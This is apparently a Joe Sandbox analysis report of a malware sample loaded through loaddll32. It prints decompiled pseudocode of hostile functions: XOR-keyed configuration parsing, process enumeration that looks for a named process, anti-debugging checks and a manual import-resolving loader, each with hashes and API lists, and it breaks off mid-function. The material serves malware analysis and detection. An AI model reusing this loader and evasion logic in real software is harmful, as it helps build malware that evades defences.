                    • Part of subcall function 02C51508: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000018,F0000000,00000000,00000000,00000000,?,?,?,02C55088,00000001,02C53ECE,00000000), ref: 02C51540
                    • Part of subcall function 02C51508: memcpy.NTDLL(02C55088,02C53ECE,00000010,?,?,?,02C55088,00000001,02C53ECE,00000000,?,02C566D9,00000000,02C53ECE,?,7491C740), ref: 02C51559
                    • Part of subcall function 02C51508: CryptImportKey.ADVAPI32(?,?,0000001C,00000000,00000000,00000000), ref: 02C51582
                    • Part of subcall function 02C51508: CryptSetKeyParam.ADVAPI32(00000000,00000001,?,00000000), ref: 02C5159A
                    • Part of subcall function 02C51508: memcpy.NTDLL(00000000,7491C740,03AD9600,00000010), ref: 02C515EC
                    • Part of subcall function 02C533DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C562F6), ref: 02C533E8
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: Crypt$memcpy$AcquireAllocateContextHeapImportParamlstrlen
                  • String ID:
                  • API String ID: 894908221-0
                  • Opcode ID: a02440d8fcf0cb0853caa086153a1f350ec191de4e273a98d165f05487dc0ebc
                  • Instruction ID: 73d4c728a3e8ab28c34922dc02c6826910e6b1ef9bcb9822bbd2de8be621e508
                  • Opcode Fuzzy Hash: a02440d8fcf0cb0853caa086153a1f350ec191de4e273a98d165f05487dc0ebc
                  • Instruction Fuzzy Hash: 98F03036100128BACF116E55DC40DEE3BAEEFC43A0B408012FD098A010DA71D695ABE4
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Non-executed Functions

                  Function 02C51D8A Relevance: 12.3, APIs: 8, Instructions: 258memoryCOMMONCrypto
                  Download Yara Rule
                  C-Code - Quality: 93%
                  			E02C51D8A(void* __ebx, int* __ecx, void* __edx, void* __edi, void* __esi) {
				int _v8;
				void* _v12;
				void* _v16;
				signed int _t28;
				signed int _t33;
				signed int _t39;
				char* _t45;
				char* _t46;
				char* _t47;
				char* _t48;
				char* _t49;
				char* _t50;
				void* _t51;
				void* _t52;
				void* _t53;
				intOrPtr _t54;
				void* _t56;
				intOrPtr _t57;
				intOrPtr _t58;
				signed int _t61;
				intOrPtr _t64;
				signed int _t65;
				signed int _t70;
				void* _t72;
				void* _t73;
				signed int _t75;
				signed int _t78;
				signed int _t82;
				signed int _t86;
				signed int _t90;
				signed int _t94;
				signed int _t98;
				void* _t101;
				void* _t102;
				void* _t116;
				void* _t119;
				intOrPtr _t122;

				_t119 = __esi;
				_t116 = __edi;
				_t104 = __ecx;
				_t101 = __ebx;
				_t28 =  *0x2c5a344; // 0x43175ac3
				if(E02C510F8( &_v8,  &_v12, _t28 ^ 0xa23f04a7) != 0 && _v12 >= 0x110) {
					 *0x2c5a374 = _v8;
				}
				_t33 =  *0x2c5a344; // 0x43175ac3
				if(E02C510F8( &_v16,  &_v12, _t33 ^ 0x2bfce340) == 0) {
					_v12 = 2;
					L69:
					return _v12;
				}
				_t39 =  *0x2c5a344; // 0x43175ac3
				_push(_t116);
				if(E02C510F8( &_v12,  &_v8, _t39 ^ 0xcca68722) == 0) {
					L67:
					HeapFree( *0x2c5a2d8, 0, _v16);
					goto L69;
				} else {
					_push(_t101);
					_t102 = _v12;
					if(_t102 == 0) {
						_t45 = 0;
					} else {
						_t98 =  *0x2c5a344; // 0x43175ac3
						_t45 = E02C536C5(_t104, _t102, _t98 ^ 0x523046bc);
					}
					_push(_t119);
					if(_t45 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t45, 0,  &_v8) != 0) {
							 *0x2c5a2e0 = _v8;
						}
					}
					if(_t102 == 0) {
						_t46 = 0;
					} else {
						_t94 =  *0x2c5a344; // 0x43175ac3
						_t46 = E02C536C5(_t104, _t102, _t94 ^ 0x0b3e0d40);
					}
					if(_t46 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t46, 0,  &_v8) != 0) {
							 *0x2c5a2e4 = _v8;
						}
					}
					if(_t102 == 0) {
						_t47 = 0;
					} else {
						_t90 =  *0x2c5a344; // 0x43175ac3
						_t47 = E02C536C5(_t104, _t102, _t90 ^ 0x1b5903e6);
					}
					if(_t47 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t47, 0,  &_v8) != 0) {
							 *0x2c5a2e8 = _v8;
						}
					}
					if(_t102 == 0) {
						_t48 = 0;
					} else {
						_t86 =  *0x2c5a344; // 0x43175ac3
						_t48 = E02C536C5(_t104, _t102, _t86 ^ 0x267c2349);
					}
					if(_t48 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t48, 0,  &_v8) != 0) {
							 *0x2c5a004 = _v8;
						}
					}
					if(_t102 == 0) {
						_t49 = 0;
					} else {
						_t82 =  *0x2c5a344; // 0x43175ac3
						_t49 = E02C536C5(_t104, _t102, _t82 ^ 0x167db74c);
					}
					if(_t49 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t49, 0,  &_v8) != 0) {
							 *0x2c5a02c = _v8;
						}
					}
					if(_t102 == 0) {
						_t50 = 0;
					} else {
						_t78 =  *0x2c5a344; // 0x43175ac3
						_t50 = E02C536C5(_t104, _t102, _t78 ^ 0x02ddbcae);
					}
					if(_t50 == 0) {
						L41:
						 *0x2c5a2ec = 5;
						goto L42;
					} else {
						_t104 =  &_v8;
						if(StrToIntExA(_t50, 0,  &_v8) == 0 || _v8 == 0) {
							goto L41;
						} else {
							L42:
							if(_t102 == 0) {
								_t51 = 0;
							} else {
								_t75 =  *0x2c5a344; // 0x43175ac3
								_t51 = E02C536C5(_t104, _t102, _t75 ^ 0x0cbf33fd);
							}
							if(_t51 != 0) {
								_push(_t51);
								_t72 = 0x10;
								_t73 = E02C55B85(_t72);
								if(_t73 != 0) {
									_push(_t73);
									E02C5607C();
								}
							}
							if(_t102 == 0) {
								_t52 = 0;
							} else {
								_t70 =  *0x2c5a344; // 0x43175ac3
								_t52 = E02C536C5(_t104, _t102, _t70 ^ 0x93710135);
							}
							if(_t52 != 0 && E02C55B85(0, _t52) != 0) {
								_t122 =  *0x2c5a3cc; // 0x3ad9600
								E02C55364(_t122 + 4, _t68);
							}
							if(_t102 == 0) {
								_t53 = 0;
							} else {
								_t65 =  *0x2c5a344; // 0x43175ac3
								_t53 = E02C536C5(_t104, _t102, _t65 ^ 0x175474b7);
							}
							if(_t53 == 0) {
								L59:
								_t54 =  *0x2c5a348; // 0xe7d5a8
								_t22 = _t54 + 0x2c5b5f3; // 0x616d692f
								 *0x2c5a370 = _t22;
								goto L60;
							} else {
								_t64 = E02C55B85(0, _t53);
								 *0x2c5a370 = _t64;
								if(_t64 != 0) {
									L60:
									if(_t102 == 0) {
										_t56 = 0;
									} else {
										_t61 =  *0x2c5a344; // 0x43175ac3
										_t56 = E02C536C5(_t104, _t102, _t61 ^ 0xf8a29dde);
									}
									if(_t56 == 0) {
										_t57 =  *0x2c5a348; // 0xe7d5a8
										_t23 = _t57 + 0x2c5b899; // 0x6976612e
										_t58 = _t23;
									} else {
										_t58 = E02C55B85(0, _t56);
									}
									 *0x2c5a3e0 = _t58;
									HeapFree( *0x2c5a2d8, 0, _t102);
									_v12 = 0;
									goto L67;
								}
								goto L59;
							}
						}
					}
				}
			}








































                  0x02c51d8a
                  0x02c51d8a
                  0x02c51d8a
                  0x02c51d8a
                  0x02c51d8d
                  0x02c51daa
                  0x02c51db8
                  0x02c51db8
                  0x02c51dbd
                  0x02c51dd7
                  0x02c52045
                  0x02c5204c
                  0x02c52050
                  0x02c52050
                  0x02c51ddd
                  0x02c51de2
                  0x02c51dfa
                  0x02c52032
                  0x02c5203c
                  0x00000000
                  0x02c51e00
                  0x02c51e00
                  0x02c51e01
                  0x02c51e06
                  0x02c51e1c
                  0x02c51e08
                  0x02c51e08
                  0x02c51e15
                  0x02c51e15
                  0x02c51e1e
                  0x02c51e27
                  0x02c51e29
                  0x02c51e33
                  0x02c51e38
                  0x02c51e38
                  0x02c51e33
                  0x02c51e3f
                  0x02c51e55
                  0x02c51e41
                  0x02c51e41
                  0x02c51e4e
                  0x02c51e4e
                  0x02c51e59
                  0x02c51e5b
                  0x02c51e65
                  0x02c51e6a
                  0x02c51e6a
                  0x02c51e65
                  0x02c51e71
                  0x02c51e87
                  0x02c51e73
                  0x02c51e73
                  0x02c51e80
                  0x02c51e80
                  0x02c51e8b
                  0x02c51e8d
                  0x02c51e97
                  0x02c51e9c
                  0x02c51e9c
                  0x02c51e97
                  0x02c51ea3
                  0x02c51eb9
                  0x02c51ea5
                  0x02c51ea5
                  0x02c51eb2
                  0x02c51eb2
                  0x02c51ebd
                  0x02c51ebf
                  0x02c51ec9
                  0x02c51ece
                  0x02c51ece
                  0x02c51ec9
                  0x02c51ed5
                  0x02c51eeb
                  0x02c51ed7
                  0x02c51ed7
                  0x02c51ee4
                  0x02c51ee4
                  0x02c51eef
                  0x02c51ef1
                  0x02c51efb
                  0x02c51f00
                  0x02c51f00
                  0x02c51efb
                  0x02c51f07
                  0x02c51f1d
                  0x02c51f09
                  0x02c51f09
                  0x02c51f16
                  0x02c51f16
                  0x02c51f21
                  0x02c51f34
                  0x02c51f34
                  0x00000000
                  0x02c51f23
                  0x02c51f23
                  0x02c51f2d
                  0x00000000
                  0x02c51f3e
                  0x02c51f3e
                  0x02c51f40
                  0x02c51f56
                  0x02c51f42
                  0x02c51f42
                  0x02c51f4f
                  0x02c51f4f
                  0x02c51f5a
                  0x02c51f5c
                  0x02c51f5f
                  0x02c51f60
                  0x02c51f67
                  0x02c51f69
                  0x02c51f6a
                  0x02c51f6a
                  0x02c51f67
                  0x02c51f71
                  0x02c51f87
                  0x02c51f73
                  0x02c51f73
                  0x02c51f80
                  0x02c51f80
                  0x02c51f8b
                  0x02c51f99
                  0x02c51fa3
                  0x02c51fa3
                  0x02c51fab
                  0x02c51fc1
                  0x02c51fad
                  0x02c51fad
                  0x02c51fba
                  0x02c51fba
                  0x02c51fc5
                  0x02c51fd8
                  0x02c51fd8
                  0x02c51fdd
                  0x02c51fe3
                  0x00000000
                  0x02c51fc7
                  0x02c51fca
                  0x02c51fcf
                  0x02c51fd6
                  0x02c51fe8
                  0x02c51fea
                  0x02c52000
                  0x02c51fec
                  0x02c51fec
                  0x02c51ff9
                  0x02c51ff9
                  0x02c52004
                  0x02c52010
                  0x02c52015
                  0x02c52015
                  0x02c52006
                  0x02c52009
                  0x02c52009
                  0x02c52023
                  0x02c52028
                  0x02c5202e
                  0x00000000
                  0x02c52031
                  0x00000000
                  0x02c51fd6
                  0x02c51fc5
                  0x02c51f2d
                  0x02c51f21

                  APIs
                  • StrToIntExA.SHLWAPI(00000000,00000000,?,02C5A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 02C51E2F
                  • StrToIntExA.SHLWAPI(00000000,00000000,?,02C5A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 02C51E61
                  • StrToIntExA.SHLWAPI(00000000,00000000,?,02C5A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 02C51E93
                  • StrToIntExA.SHLWAPI(00000000,00000000,?,02C5A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 02C51EC5
                  • StrToIntExA.SHLWAPI(00000000,00000000,?,02C5A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 02C51EF7
                  • StrToIntExA.SHLWAPI(00000000,00000000,?,02C5A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 02C51F29
                  • HeapFree.KERNEL32(00000000,?,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?,?), ref: 02C52028
                  • HeapFree.KERNEL32(00000000,?,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?,?), ref: 02C5203C
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: FreeHeap
                  • String ID:
                  • API String ID: 3298025750-0
                  • Opcode ID: ecabad740e231920051c667dcb74b612dee2a3df466f0abc6f1b32fd107a069b
                  • Instruction ID: 6d49644e3a4b5f4d43e186dd646d6a9f71222bfde75632c7c8f93091828ef525
                  • Opcode Fuzzy Hash: ecabad740e231920051c667dcb74b612dee2a3df466f0abc6f1b32fd107a069b
                  • Instruction Fuzzy Hash: 75819770E10274AFC710DBB69D8CF5F76E9ABC86447680F15E909E3104EBB5DAC09B58
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB5E973 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 6CB5EA6B
                  • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 6CB5EA75
                  • UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 6CB5EA82
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: ExceptionFilterUnhandled$DebuggerPresent
                  • String ID: RCi
                  • API String ID: 3906539128-2875014802
                  • Opcode ID: b98a479054d9902785f7fcc6645830883cd3d20418fb3fbd6be1fb8be8eb3833
                  • Instruction ID: 5fe9f52fe9b17680144e0a252ff09bfeebf1ec78f5c5f05a2e3927faecc01ea7
                  • Opcode Fuzzy Hash: b98a479054d9902785f7fcc6645830883cd3d20418fb3fbd6be1fb8be8eb3833
                  • Instruction Fuzzy Hash: 3531E37490122CABCB21DF64C8887DDBBB8BF08314F5041EAE91CA7290E7349F958F45
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB5B0A1 Relevance: 6.1, APIs: 4, Instructions: 73COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6CB5B0AD
                  • IsDebuggerPresent.KERNEL32 ref: 6CB5B179
                  • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6CB5B199
                  • UnhandledExceptionFilter.KERNEL32(?), ref: 6CB5B1A3
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
                  • String ID:
                  • API String ID: 254469556-0
                  • Opcode ID: 32d1eb494b173f24e157e8de9e5ecf993c2d3fbabe00304fb955c9d620028f36
                  • Instruction ID: 2a5a2d3cafcded480bf03902719a6155f25ca47fffcb11e2e57dd7ba2921a43c
                  • Opcode Fuzzy Hash: 32d1eb494b173f24e157e8de9e5ecf993c2d3fbabe00304fb955c9d620028f36
                  • Instruction Fuzzy Hash: E9314975D4521CDBDF11DFA1C9897CCBBB8BF08704F1041AAE60DAB280EB715A888F45
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C530D5 Relevance: 6.0, APIs: 4, Instructions: 41processCOMMON
                  Download Yara Rule
                  C-Code - Quality: 68%
                  			E02C530D5() {
				char _v264;
				void* _v300;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t17 = CreateToolhelp32Snapshot(2, 0);
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0x2c5a348; // 0xe7d5a8
						_t2 = _t9 + 0x2c5be88; // 0x73617661
						_push( &_v264);
						if( *0x2c5a12c() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						CloseHandle(_t17);
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}









                  0x02c530e0
                  0x02c530ea
                  0x02c530ee
                  0x02c530f8
                  0x02c53129
                  0x02c530ff
                  0x02c53104
                  0x02c53111
                  0x02c5311a
                  0x02c53131
                  0x02c5311c
                  0x02c53124
                  0x00000000
                  0x02c53124
                  0x02c53132
                  0x02c53133
                  0x00000000
                  0x02c53133
                  0x00000000
                  0x02c5312d
                  0x02c53139
                  0x02c5313e

                  APIs
                  • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02C530E5
                  • Process32First.KERNEL32(00000000,?), ref: 02C530F8
                  • Process32Next.KERNEL32(00000000,?), ref: 02C53124
                  • CloseHandle.KERNEL32(00000000), ref: 02C53133
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
                  • String ID:
                  • API String ID: 420147892-0
                  • Opcode ID: 4586fa9b603163f206112cdab2733255dcd4cf839c43c9e3d17d2f5c6bea484a
                  • Instruction ID: de5aae7c7063fda9da2aee93272314d91ee48d53c0ceb50c01501623dc212ea2
                  • Opcode Fuzzy Hash: 4586fa9b603163f206112cdab2733255dcd4cf839c43c9e3d17d2f5c6bea484a
                  • Instruction Fuzzy Hash: 3BF096325012B45BD720A6779C49FEB76ACDFC5354F0001A1FE45D3000EB20CAD5CAA9
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02BF1F1E Relevance: 6.0, APIs: 4, Instructions: 40COMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E02BF1F1E() {
				void* _t1;
				unsigned int _t3;
				void* _t4;
				long _t5;
				void* _t6;
				intOrPtr _t10;
				void* _t14;

				_t10 =  *0x2bf41b0;
				_t1 = CreateEventA(0, 1, 0, 0);
				 *0x2bf41bc = _t1;
				if(_t1 == 0) {
					return GetLastError();
				}
				_t3 = GetVersion();
				if(_t3 != 5) {
					L4:
					if(_t14 <= 0) {
						_t4 = 0x32;
						return _t4;
					} else {
						goto L5;
					}
				} else {
					if(_t3 >> 8 > 0) {
						L5:
						 *0x2bf41ac = _t3;
						_t5 = GetCurrentProcessId();
						 *0x2bf41a8 = _t5;
						 *0x2bf41b0 = _t10;
						_t6 = OpenProcess(0x10047a, 0, _t5);
						 *0x2bf41a4 = _t6;
						if(_t6 == 0) {
							 *0x2bf41a4 =  *0x2bf41a4 | 0xffffffff;
						}
						return 0;
					} else {
						_t14 = _t3 - _t3;
						goto L4;
					}
				}
			}










                  0x02bf1f1f
                  0x02bf1f2d
                  0x02bf1f33
                  0x02bf1f3a
                  0x02bf1f91
                  0x02bf1f91
                  0x02bf1f3c
                  0x02bf1f44
                  0x02bf1f51
                  0x02bf1f51
                  0x02bf1f8d
                  0x02bf1f8f
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02bf1f46
                  0x02bf1f4d
                  0x02bf1f53
                  0x02bf1f53
                  0x02bf1f58
                  0x02bf1f66
                  0x02bf1f6b
                  0x02bf1f71
                  0x02bf1f77
                  0x02bf1f7e
                  0x02bf1f80
                  0x02bf1f80
                  0x02bf1f8a
                  0x02bf1f4f
                  0x02bf1f4f
                  0x00000000
                  0x02bf1f4f
                  0x02bf1f4d

                  APIs
                  • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,02BF1231), ref: 02BF1F2D
                  • GetVersion.KERNEL32 ref: 02BF1F3C
                  • GetCurrentProcessId.KERNEL32 ref: 02BF1F58
                  • OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 02BF1F71
                  Memory Dump Source
                  • Source File: 00000000.00000002.777006909.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: true
                  • Associated: 00000000.00000002.777006909.0000000002BF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2bf0000_loaddll32.jbxd
                  Similarity
                  • API ID: Process$CreateCurrentEventOpenVersion
                  • String ID:
                  • API String ID: 845504543-0
                  • Opcode ID: 796614ec86ddccbb8961ded029f6288cfc481985e8e043a5c33cf0205f6f6bc2
                  • Instruction ID: 3bbea9dfd9be571191c4e1be16b0eaf1de67e4e5e79024576aed4e5486ec5bad
                  • Opcode Fuzzy Hash: 796614ec86ddccbb8961ded029f6288cfc481985e8e043a5c33cf0205f6f6bc2
                  • Instruction Fuzzy Hash: 87F06970DD4340AFEAE08A78B8097967FA0EB05BA1F0109A6E709E71C0D3B081E98B04
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB622BF Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 140COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID:
                  • String ID: RCi
                  • API String ID: 0-2875014802
                  • Opcode ID: 38dd605b8194066edd6ec60f422e517b776f749c19e0af7babf2de075adb5db6
                  • Instruction ID: 46514a0f66dcbde2741b4d9427e0b9876d800f880fb3d5108d5d5b27afe5c0c5
                  • Opcode Fuzzy Hash: 38dd605b8194066edd6ec60f422e517b776f749c19e0af7babf2de075adb5db6
                  • Instruction Fuzzy Hash: EA41BFB5805258AFDB10CF6ACC88AEEBBB8EF45308F1442D9E459D3640DB359E858F61
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02BF1CEB Relevance: 3.1, APIs: 2, Instructions: 92libraryloaderCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E02BF1CEB(void* __edi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr* _v12;
				_Unknown_base(*)()** _v16;
				signed int _v20;
				signed short _v24;
				struct HINSTANCE__* _v28;
				intOrPtr _t43;
				intOrPtr* _t45;
				intOrPtr _t46;
				struct HINSTANCE__* _t47;
				intOrPtr* _t49;
				intOrPtr _t50;
				signed short _t51;
				_Unknown_base(*)()* _t53;
				CHAR* _t54;
				_Unknown_base(*)()* _t55;
				void* _t58;
				signed int _t59;
				_Unknown_base(*)()* _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				signed int _t68;
				void* _t69;
				CHAR* _t71;
				signed short* _t73;

				_t69 = __edi;
				_v20 = _v20 & 0x00000000;
				_t59 =  *0x2bf41c0;
				_t43 =  *((intOrPtr*)(_a4 + _t59 * 8 - 0x18bad598));
				if(_t43 != 0) {
					_t45 = _t43 + __edi;
					_v12 = _t45;
					_t46 =  *((intOrPtr*)(_t45 + 0xc));
					if(_t46 != 0) {
						while(1) {
							_t71 = _t46 + _t69;
							_t47 = LoadLibraryA(_t71);
							_v28 = _t47;
							if(_t47 == 0) {
								break;
							}
							_v24 = _v24 & 0x00000000;
							 *_t71 = _t59 - 0x43175ac3;
							_t49 = _v12;
							_t61 =  *((intOrPtr*)(_t49 + 0x10));
							_t50 =  *_t49;
							if(_t50 != 0) {
								L6:
								_t73 = _t50 + _t69;
								_v16 = _t61 + _t69;
								while(1) {
									_t51 =  *_t73;
									if(_t51 == 0) {
										break;
									}
									if(__eflags < 0) {
										__eflags = _t51 - _t69;
										if(_t51 < _t69) {
											L12:
											_t21 =  &_v8;
											 *_t21 = _v8 & 0x00000000;
											__eflags =  *_t21;
											_v24 =  *_t73 & 0x0000ffff;
										} else {
											_t65 = _a4;
											__eflags = _t51 -  *((intOrPtr*)(_t65 + 0x50)) + _t69;
											if(_t51 >=  *((intOrPtr*)(_t65 + 0x50)) + _t69) {
												goto L12;
											} else {
												goto L11;
											}
										}
									} else {
										_t51 = _t51 + _t69;
										L11:
										_v8 = _t51;
									}
									_t53 = _v8;
									__eflags = _t53;
									if(_t53 == 0) {
										_t54 = _v24 & 0x0000ffff;
									} else {
										_t54 = _t53 + 2;
									}
									_t55 = GetProcAddress(_v28, _t54);
									__eflags = _t55;
									if(__eflags == 0) {
										_v20 = _t59 - 0x43175a44;
									} else {
										_t68 = _v8;
										__eflags = _t68;
										if(_t68 != 0) {
											 *_t68 = _t59 - 0x43175ac3;
										}
										 *_v16 = _t55;
										_t58 = _t59 * 4 - 0xc5d6b08;
										_t73 = _t73 + _t58;
										_t32 =  &_v16;
										 *_t32 = _v16 + _t58;
										__eflags =  *_t32;
										continue;
									}
									goto L23;
								}
							} else {
								_t50 = _t61;
								if(_t61 != 0) {
									goto L6;
								}
							}
							L23:
							_v12 = _v12 + 0x14;
							_t46 =  *((intOrPtr*)(_v12 + 0xc));
							if(_t46 != 0) {
								continue;
							} else {
							}
							L26:
							goto L27;
						}
						_t60 = _t59 + 0xbce8a5bb;
						__eflags = _t60;
						_v20 = _t60;
						goto L26;
					}
				}
				L27:
				return _v20;
			}




























                  0x02bf1ceb
                  0x02bf1cf4
                  0x02bf1cf9
                  0x02bf1cff
                  0x02bf1d08
                  0x02bf1d0e
                  0x02bf1d10
                  0x02bf1d13
                  0x02bf1d18
                  0x02bf1d1f
                  0x02bf1d1f
                  0x02bf1d23
                  0x02bf1d29
                  0x02bf1d2e
                  0x00000000
                  0x00000000
                  0x02bf1d34
                  0x02bf1d3e
                  0x02bf1d40
                  0x02bf1d43
                  0x02bf1d46
                  0x02bf1d4a
                  0x02bf1d52
                  0x02bf1d54
                  0x02bf1d57
                  0x02bf1dbf
                  0x02bf1dbf
                  0x02bf1dc3
                  0x00000000
                  0x00000000
                  0x02bf1d5c
                  0x02bf1d62
                  0x02bf1d64
                  0x02bf1d77
                  0x02bf1d7a
                  0x02bf1d7a
                  0x02bf1d7a
                  0x02bf1d7e
                  0x02bf1d66
                  0x02bf1d66
                  0x02bf1d6e
                  0x02bf1d70
                  0x00000000
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02bf1d70
                  0x02bf1d5e
                  0x02bf1d5e
                  0x02bf1d72
                  0x02bf1d72
                  0x02bf1d72
                  0x02bf1d81
                  0x02bf1d84
                  0x02bf1d86
                  0x02bf1d8d
                  0x02bf1d88
                  0x02bf1d88
                  0x02bf1d88
                  0x02bf1d95
                  0x02bf1d9b
                  0x02bf1d9d
                  0x02bf1dcd
                  0x02bf1d9f
                  0x02bf1d9f
